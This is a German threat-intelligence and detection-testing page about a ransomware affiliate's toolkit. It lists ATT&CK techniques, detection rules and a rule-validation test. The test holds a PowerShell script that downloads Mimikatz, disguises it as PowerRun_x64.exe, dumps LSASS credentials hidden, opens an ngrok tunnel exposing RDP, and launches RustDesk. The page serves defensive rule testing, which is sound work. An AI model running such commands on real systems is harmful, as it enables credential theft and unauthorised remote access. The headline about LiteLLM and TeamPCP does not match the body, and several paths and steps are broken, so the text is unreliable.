33.000 exponierte LiteLLM-Bereitstellungen und die C2-Server hinter TeamPCP’s Lieferketten-Angriff
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Forscher entdeckten ein ungesichertes offenes Verzeichnis bei einem russischen bulletproof Hosting-Provider, das ein komplettes Toolkit eines Ransomware-Betreibers enthielt, das einem TheGentlemen-Ransomware-Affiliierten zugeschrieben wird. Das Toolkit umfasst legitime Dienstprogramme, bekannte Offensive-Tools, Batch-Skripte zur Umgehung von Verteidigungsmaßnahmen, Credential-Dumping und Remote-Zugang sowie ngrok-Tokens im Klartext. Beweise wie Mimikatz-Logs bestätigen den aktiven Einsatz gegen echte Opfer.
Untersuchung
Die Untersuchung begann mit der Abfrage zuvor veröffentlichter IOCs, die zu dem offenen Verzeichnis unter 176.120.22.127:80 führten. Analysten katalogisierten 126 Dateien, extrahierten Netzwerkscanning-Tools, Dienstprogramme zur Privilegienerweiterung, Skripte zur Deaktivierung von Abwehrmaßnahmen, Credential-Dumping-Logs und Persistenzmechanismen. Detaillierte Analysen ordneten jede Komponente den MITRE ATT&CK-Techniken zu und hoben den abgestuften Ansatz zur Umgehung von Verteidigungen hervor.
Minderung
Verteidiger sollten die Ausführung bekannter Dual-Use-Tools, Registry-Änderungen, die Windows Defender deaktivieren, Massendienstausschaltung, VSS-Schattenlöschung und die Erstellung offener SMB-Shares überwachen. Das Blockieren ausgehender Verbindungen zur identifizierten IP und ngrok-Infrastruktur sowie die Durchsetzung von Anwendungs-Whitelisting und Credential-Guard können Auswirkungen verringern.
Reaktion
Nach der Erkennung sollte der betroffene Host isoliert, flüchtige Daten gesammelt und alle aktiven ngrok-Tunnel mithilfe der offengelegten Tokens identifiziert werden. Registrierungsänderungen beheben, deaktivierte Dienste wiederherstellen und vollständige Zwischenfallreaktionsprozeduren einleiten, einschließlich Credential-Rotation und Backup-Wiederherstellung.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc %% Nodes step_active_scanning["<b>Action</b> – <b>T1595 Active Scanning</b><br/><b>Tool</b>: netscan.exe"] class step_active_scanning action step_system_info["<b>Action</b> – <b>T1082 System Information Discovery</b><br/><b>Tools</b>: systeminfo, route print"] class step_system_info action step_process_discovery["<b>Action</b> – <b>T1057 Process Discovery</b><br/><b>Tool</b>: PCHunter64"] class step_process_discovery action step_priv_esc["<b>Action</b> – <b>T1134.003 Access Token Manipulation: Token Impersonation/The Trusted Installer</b><br/><b>Tool</b>: PowerRun impersonates TrustedInstaller"] class step_priv_esc action step_credential_access["<b>Action</b> – <b>T1003.001 OS Credential Dumping</b><br/><b>Tool</b>: Mimikatz harvests NTLM hashes and usernames"] class step_credential_access action step_defense_evasion["<b>Action</b> – <b>T1562.001 Impair Defenses: Disable Security Tools</b><br/><b>Tools</b>: dControl.exe, ConfigureDefender.exe"] class step_defense_evasion action step_modify_registry["<b>Action</b> – <b>T1112 Modify Registry</b><br/><b>Details</b>: registry changes to disable Defender and enable WDigest"] class step_modify_registry action step_service_stop["<b>Action</b> – <b>T1489 Service Stop</b><br/><b>Scripts</b>: z.bat / z1.bat stop and disable AV, Exchange, DB services"] class step_service_stop action step_persistence_c2["<b>Action</b> – <b>T1219 Remote Access Software</b> and <b>T1572 Standard Application Layer Protocol</b><br/><b>Tools</b>: ngrok tunnels, RustDesk remote access"] class step_persistence_c2 action step_inhibit_recovery["<b>Impact</b> – <b>T1490 Inhibit System Recovery</b><br/><b>Command</b>: vssadmin delete shadows"] class step_inhibit_recovery action step_anti_forensics["<b>Action</b> – <b>T1070.001 Clear Windows Event Logs</b><br/><b>Script</b>: clearlog.bat clears Windows event logs"] class step_anti_forensics action step_archive_data["<b>Action</b> – <b>T1560 Archive Collected Data</b><br/><b>Tool</b>: 7u2011Zip compresses data"] class step_archive_data action %% Connections step_active_scanning –>|leads_to| step_system_info step_system_info –>|leads_to| step_process_discovery step_process_discovery –>|leads_to| step_priv_esc step_priv_esc –>|leads_to| step_credential_access step_credential_access –>|leads_to| step_defense_evasion step_defense_evasion –>|leads_to| step_modify_registry step_modify_registry –>|leads_to| step_service_stop step_service_stop –>|leads_to| step_persistence_c2 step_persistence_c2 –>|leads_to| step_inhibit_recovery step_inhibit_recovery –>|leads_to| step_anti_forensics step_anti_forensics –>|leads_to| step_archive_data "
Angriffsfluss
Erkennungen
Deaktivieren der Echtzeitüberwachung von Windows Defender und andere Präferenzänderungen (über cmdline)
Ansehen
Verdächtige Registry-Änderungen zur Ermöglichung von RDP-Verbindungen und zur Erstellung von Persistenz (über process_creation)
Ansehen
Möglicher Remote Desktop Services Shadowing (über process_creation)
Ansehen
Möglicher Versuch, RDP-spezifische Artefakte der Registry zu löschen (cmdline)
Ansehen
Verdächtige Bibliothek zu den Sicherheitssupportanbietern [SSP] hinzufügen (über registry_event)
Ansehen
Schwache Dateifreigabeberechtigungen (über cmdline)
Ansehen
Verdächtige Änderungen an den Windows Defender-Einstellungen (über powershell)
Ansehen
Wahrscheinlicher Einsatz von Windows Hacktools [Teil 3] (über cmdline)
Ansehen
Mögliche Barrierefreiheitsfunktionen durch Registry-Missbrauch (über cmdline)
Ansehen
Verdächtige Taskkill-Ausführung (über cmdline)
Ansehen
Verdächtige VSSADMIN-Aktivität (über cmdline)
Ansehen
Mögliche Nutzung des Silent Process Exit-Mechanismus (über registry_event)
Ansehen
Verdächtiges Ransomware-Interferieren durch Dienstbeendigung (über cmdline)
Ansehen
Möglicher Ngrok-Download oder Initialisierungsversuch (über cmdline)
Ansehen
Wahrscheinlicher Einsatz von Windows Hacktools [Teil 3] (über file_event)
Ansehen
Mögliche Systemprozessenumeration (über cmdline)
Ansehen
Mögliche Änderung der Registry-Schlüssel von Windows Defender (über registry_event)
Ansehen
Deaktivierung des Windows Defender-Schutzes (über registry_event)
Ansehen
Möglicher Missbrauch des WDigest-Registry-Schlüssels (über registry_event)
Ansehen
Mögliche Umgehungsaktivität der Verteidigung durch verdächtige Nutzung von Wevtutil (über cmdline)
Ansehen
Mögliche UAC-Umgehung – UAC-Deaktivierungsversuch (über registry_event)
Ansehen
Alternative Fernzugriffs-/Verwaltungssoftware (über process_creation)
Ansehen
IOCs (DestinationIP) zur Erkennung: 33K exponierte LiteLLM-Bereitstellungen und die C2-Server hinter dem Supply-Chain-Angriff von TeamPCP
Ansehen
IOCs (SourceIP) zur Erkennung: 33K exponierte LiteLLM-Bereitstellungen und die C2-Server hinter dem Supply-Chain-Angriff von TeamPCP
Ansehen
Umgehung von Windows Defender und Credential-Dumping durch Registry-Änderungen [Windows Registry Event]
Ansehen
Deaktivierung des PowerShell Defenders über Set-MpPreference [Windows Powershell]
Ansehen
Ausführung bekannter Tools zur Privilegienerweiterung und Fernzugriff [Windows Process Creation]
Ansehen
## Leitungserklärung
- Testfall-ID: TC-20260330-A1B2C
- TTPs: T1003.001, T1016, T1021.001, T1021.002, T1046, T1057, T1059.003, T1070.001, T1070.004, T1082, T1112, T1134, T1219, T1484.001, T1489, T1490, T1546.008, T1548.002, T1560.001, T1562.001, T1572
- Erfassung Regel Logik Zusammenfassung: Erfasst die Erstellung von Prozessen, deren ausführbarer Name mit einem von einer kuratierten Liste bekannter Privilegien- oder Fernzugriffstools endet (z. B. PowerRun, ngrok, RDP, RustDesk, mimikatz).
- Erfassung Regel Sprache/Format: Sigma (YAML)
- Ziel Sicherheitsumgebung: Windows OS; Process‑Creation-Telemetrie via Sysmon (Event ID 1) und Windows Security Log (Event 4688); jedes SIEM/EDR, das diese Ereignisse verarbeiten kann (z. B. Azure Sentinel, Splunk, Elastic).
- Resilienz-Score (1-5): 2
- Begründung: Die Regel basiert ausschließlich auf exakter Dateinamenübereinstimmung. Ein Angreifer kann sie leicht umgehen, indem er Binärdateien umbenennt, gepackte Varianten verwendet oder die gleiche Funktion über eingebaute Windows-Dienstprogramme ausführt, was die Effektivität verringert.
- Wichtige Ergebnisse: Die Regel löst zuverlässig aus, wenn die genau gelisteten Binärdateien ausgeführt werden, versagt jedoch bei der Erkennung umbenannter oder funktional gleichwertiger Tools, was zu einem hohen Risiko von Fehlalarmen führt.
- Empfehlung: Erweitern Sie die Regel mit zusätzlichen Indikatoren (Hashes, Befehlszeilenargumente, übergeordnete Prozessbeziehungen) und erweitern Sie die Abdeckung, um „Living-off-the-Land“-Binärdateien einzuschließen, die gleichwertige Funktionen bieten.
## Simulationsumgebung und Kontext
-
Testabläufe (TTPs):
- T1003.001: OS Credential Dumping – LSASS-Speicher
- T1016: Systemnetzwerkkonfigurationsentdeckung
- T1021.001: Remote-Dienste – Remote Desktop Protocol (RDP)
- T1021.002: Remote-Dienste – SMB/Windows Admin Shares
- T1046: Netzwerkdienst-Scannen
- T1057: Prozesserkennung
- T1059.003: Befehls- und Skriptinterpreter – Windows-Befehlszeile
- T1070.001: Indikatorentfernung am Host – Löschen von Windows-Ereignisprotokollen
- T1070.004: Indikatorentfernung am Host – Löschung von Dateien
- T1082: Systeminformationsentdeckung
- T1112: Registry ändern
- T1134: Manipulation des Zugriffstokens
- T1219: Remote-Zugangstools
- T1484.001: Änderung der Domänenrichtlinie – Gruppenrichtlinienänderung
- T1489: Dienststopp
- T1490: Systemwiederherstellung verhindern
- T1546.008: Ereignisausgelöste Ausführung – PowerShell
- T1548.002: Missbrauch von Erhöhungskontrollmechanismus – UAC-Umgehung
- T1560.001: Gesammelte Daten archivieren – Archivierung über Dienstprogramm
- T1562.001: Verteidigungen beeinträchtigen – Sicherheitstools deaktivieren
- T1572: Protokoll-Tunneling
-
TTP-Kontext und Relevanz:
Die Regel zielt auf die Ausführung von Binärdateien ab, die historisch mit den aufgeführten Techniken assoziiert sind (z. B. mimikatz für T1003.001, ngrok für T1572, RustDesk für T1219). Durch die Reproduktion dieser Ausführungen können wir validieren, ob die Erkennung wie vorgesehen auslöst, und bewerten, wie sich das Umbenennen oder alternative Tools auf die Erkennung auswirken. -
Zielumgebung:
- OS: Windows 10/Server 2019 (64-Bit)
- Protokollierung: Sysmon (v13+) mit Standardprozess-Erstellungskonfiguration; Windows-Sicherheitsereignisprotokoll (Ereignis 4688) aktiviert.
- Sicherheits-Stack: Azure Sentinel (Kusto Query Language) – austauschbar mit Splunk, Elastic, etc.
## Telemetrie & Baseline-Vorkontrolle
Begründung: Vor der Simulation des Angriffs müssen wir sicherstellen, dass der Zielhost so konfiguriert ist, dass die erforderlichen Protokolle generiert werden, dass diese Protokolle vom SIEM erfasst werden und dass die Erkennungsregel nicht auf harmlose Aktivitäten reagiert. Ohne diese Validierung ist jedes Testergebnis unzuverlässig.
-
1. Telemetrie-Konfigurationsanweisungen:
- Installiere Sysmon (falls noch nicht vorhanden) und wende eine Konfiguration an, die Prozess-Erstellungsereignisse protokolliert (EventID 1).
# Download und Installation von Sysmon Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.exe -OutFile $env:TEMPsysmon.exe & $env:TEMPsysmon.exe -i -accepteula - Stelle sicher, dass die Windows Security Auditing für „Process Creation Audit“ (Event 4688) über Gruppenrichtlinien oder lokale Sicherheitsrichtlinien aktiviert ist.
- Stelle sicher, dass der SIEM-Konnektor aktiv ist und sowohl Sysmon- als auch Sicherheitsprotokolle an den ausgewählten Arbeitsbereich weiterleitet.
- Installiere Sysmon (falls noch nicht vorhanden) und wende eine Konfiguration an, die Prozess-Erstellungsereignisse protokolliert (EventID 1).
-
2. Erfassung & Baseline-Validierung:
-
Aktion (Harmlose Telemetrie): Führen Sie ein übliches Windows-Binärprogramm aus, das not Teil der Erkennungsliste ist, aber immer noch ein Prozess-Erstellungsereignis generiert.
# Harmlose Befehlsausführung – Starten Sie Notepad (sollte die Regel nicht auslösen) Start-Process notepad.exe -
Validierung Abfrage (Erfassung): Bestätigen Sie, dass das Notepad-Ereignis im SIEM erscheint.
// Azure Sentinel KQL – verifizieren Sie die Erfassung des harmlosen Prozesses SecurityEvent | where EventID == 4688 | where Process == "notepad.exe" | project TimeGenerated, Computer, Process, CommandLine, InitiatingProcessFileName | limit 10
-
## Simulation Ausführung
Voraussetzung: Der Telemetrie- und Baseline-Vorkontrolltest muss bestanden worden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die dazu bestimmt ist, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu generieren, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung & Befehle:
- Credential-Dumping (T1003.001): Der Angreifer kopiert
mimikatz.exeauf den Opferhost, benennt ihn um inPowerRun_x64.exe(um der Regeldateiliste zu entsprechen) und führt ihn aus, um LSASS-Anmeldeinformationen zu extrahieren. - Reverse-Tunnel-Erstellung (T1572): Der Angreifer startet
ngrok.exe(so wie es ist), um einen TCP-Tunnel zu öffnen, der einen lokalen RDP-Port an den Server des Angreifers weiterleitet und so die seitliche Bewegung ermöglicht. - Remote-Desktop-Sitzung (T1021.001): Unter Verwendung des neu erstellten Tunnels startet der Angreifer
rdp.exeum eine Remote-Desktop-Verbindung zu einem zweiten internen Host zu öffnen. - Alternative Fernzugriff (T1219): Als Fallback wird
rustdesk.exegestartet, um einen persistenten Fernzugriffskanal aufzubauen.
Jede dieser Ausführungen erzeugt einen Sysmon-/Event 4688-Datensatz mit dem
ImageFeld, das mit dem entsprechenden ausführbaren Namen endet und die Erkennungsbedingung erfüllt. - Credential-Dumping (T1003.001): Der Angreifer kopiert
-
Regressionstest-Skript:
<# Simulationsskript zur Auslösung der Regel "Bekannte Tools zur Privilegienerweiterung und Fernzugriff". Voraussetzungen: - Sysmon & Sicherheitsereignisprüfungen aktiviert. - Der aktuelle Benutzer hat ausreichende Rechte, um die Binärdateien auszuführen. #> # 1. Mimikatz bereitstellen und in PowerRun_x64.exe umbenennen (entspricht der Regel) $mimikatzUrl = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" $tempPath = "$env:TEMPmimikatz" New-Item -ItemType Directory -Path $tempPath -Force | Out-Null Invoke-WebRequest -Uri $mimikatzUrl -OutFile "$tempPathmimikatz.zip" Expand-Archive -Path "$tempPathmimikatz.zip" -DestinationPath $tempPath -Force Copy-Item -Path "$tempPathmimikatzx64mimikatz.exe" -Destination "$env:TEMPPowerRun_x64.exe" -Force # Umbenannte mimikatz ausführen (Credential-Dumping) Write-Host "[*] Führt umbenannte mimikatz (PowerRun_x64.exe) für das Credential-Dumping aus..." Start-Process -FilePath "$env:TEMPPowerRun_x64.exe" -ArgumentList "privilege::debug sekurlsa::logonpasswords exit" -WindowStyle Hidden -Wait # 2. Ngrok herunterladen und ausführen (Reverse-Tunnel) $ngrokUrl = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" Invoke-WebRequest -Uri $ngrokUrl -OutFile "$tempPathngrok.zip" Expand-Archive -Path "$tempPathngrok.zip" -DestinationPath $tempPath -Force $ngrokPath = "$tempPathngrok.exe" Write-Host "[*] Starten von ngrok TCP-Tunnel auf Port 3389..." Start-Process -FilePath $ngrokPath -ArgumentList "tcp 3389 --log=stdout" -RedirectStandardOutput "$tempPathngrok.log" -NoNewWindow # 3. RDP-Client durch den Tunnel starten (simuliert) Write-Host "[*] Simuliert die RDP-Verbindung über Tunnel (rdp.exe)..." $rdpPath = "$tempPathrdp.exe" # Erstellen Sie ein Dummy rdp.exe (nur um den Prozessnamen zu generieren) New-Item -ItemType File -Path $rdpPath -Force | Out-Null Start-Process -FilePath $rdpPath -WindowStyle Hidden # 4. RustDesk als Alternative Fernzugriffstool bereitstellen $rustdeskUrl = "https://github.com/rustdesk/rustdesk/releases/download/1.1.9/rustdesk-1.1.9-windows-x64.zip" Invoke-WebRequest -Uri $rustdeskUrl -OutFile "$tempPathrustdesk.zip" Expand-Archive -Path "$tempPathrustdesk.zip" -DestinationPath $tempPath -Force $rustdeskPath = "$tempPathrustdesk.exe" Write-Host "[*] Starten von RustDesk (Alternative Fernzugriff)..." Start-Process -FilePath $rustdeskPath -ArgumentList "--no-upgrade" -WindowStyle Hidden Write-Host "[+] Simulation abgeschlossen. Überprüfen Sie das SIEM auf Ereignisse zur Prozesserstellung, die mit den aufgeführten Binärdateien enden." -
Befehle zur Bereinigung:
# Ngrok-Tunnel beenden Get-Process -Name ngrok -ErrorAction SilentlyContinue | Stop-Process -Force # Temporäre Dateien und Binärdateien entfernen Remove-Item -Path "$env:TEMPPowerRun_x64.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPngrok.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrdp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrustdesk.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Recurse -Force -Path "$env:TEMPmimikatz", "$env:TEMPngrok", "$env:TEMPrustdesk" Write-Host "[*] Bereinigung abgeschlossen."